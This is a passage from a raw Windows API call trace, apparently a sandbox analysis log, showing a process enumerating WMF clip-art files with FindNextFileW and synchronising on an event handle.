FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1496, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANE.WMF", cAlternateFileName="")) returned 1 [0233.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRANINST.WMF", cAlternateFileName="")) returned 1 [0233.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUP.WMF", cAlternateFileName="")) returned 1 [0233.711] ResetEvent (hEvent=0x2b8) returned 1 [0233.711] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.717] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF", cAlternateFileName="")) returned 1 [0233.717] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0233.717] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0233.717] ResetEvent (hEvent=0x2b8) returned 1 [0233.717] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.724] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0233.725] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0233.725] ResetEvent (hEvent=0x2b8) returned 1 [0233.725] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.730] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd744774, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0233.730] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0233.730] ResetEvent (hEvent=0x2b8) returned 1 [0233.730] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0233.737] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0233.737] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd744774, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd744774, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0233.737] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd71e4b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd71e4b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0233.737] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0233.737] ResetEvent (hEvent=0x2b8) returned 1 [0233.737] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.045] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0234.045] ResetEvent (hEvent=0x2b8) returned 1 [0234.046] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.050] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0234.050] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0234.050] ResetEvent (hEvent=0x2b8) returned 1 [0234.050] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.214] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0234.214] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0234.214] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0234.215] ResetEvent (hEvent=0x2b8) returned 1 [0234.215] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.221] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0234.221] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0234.221] ResetEvent (hEvent=0x2b8) returned 1 [0234.221] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.224] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0234.224] ResetEvent (hEvent=0x2b8) returned 1 [0234.224] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.227] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0234.228] ResetEvent (hEvent=0x2b8) returned 1 [0234.228] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.232] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0234.232] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe30, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01139_.WMF", cAlternateFileName="")) returned 1 [0234.233] ResetEvent (hEvent=0x2b8) returned 1 [0234.233] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.237] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01140_.WMF", cAlternateFileName="")) returned 1 [0234.237] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01143_.WMF", cAlternateFileName="")) returned 1 [0234.238] ResetEvent (hEvent=0x2b8) returned 1 [0234.238] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.257] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xadc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01145_.WMF", cAlternateFileName="")) returned 1 [0234.257] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb709c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01146_.WMF", cAlternateFileName="")) returned 1 [0234.257] ResetEvent (hEvent=0x2b8) returned 1 [0234.257] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.259] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1 [0234.260] ResetEvent (hEvent=0x2b8) returned 1 [0234.260] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.265] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1 [0234.265] ResetEvent (hEvent=0x2b8) returned 1 [0234.265] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.271] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1 [0234.272] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1 [0234.272] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1 [0234.272] ResetEvent (hEvent=0x2b8) returned 1 [0234.272] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.281] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1 [0234.281] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0234.282] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0234.282] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0234.282] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0234.282] ResetEvent (hEvent=0x2b8) returned 1 [0234.282] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.287] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0234.287] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0234.287] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, 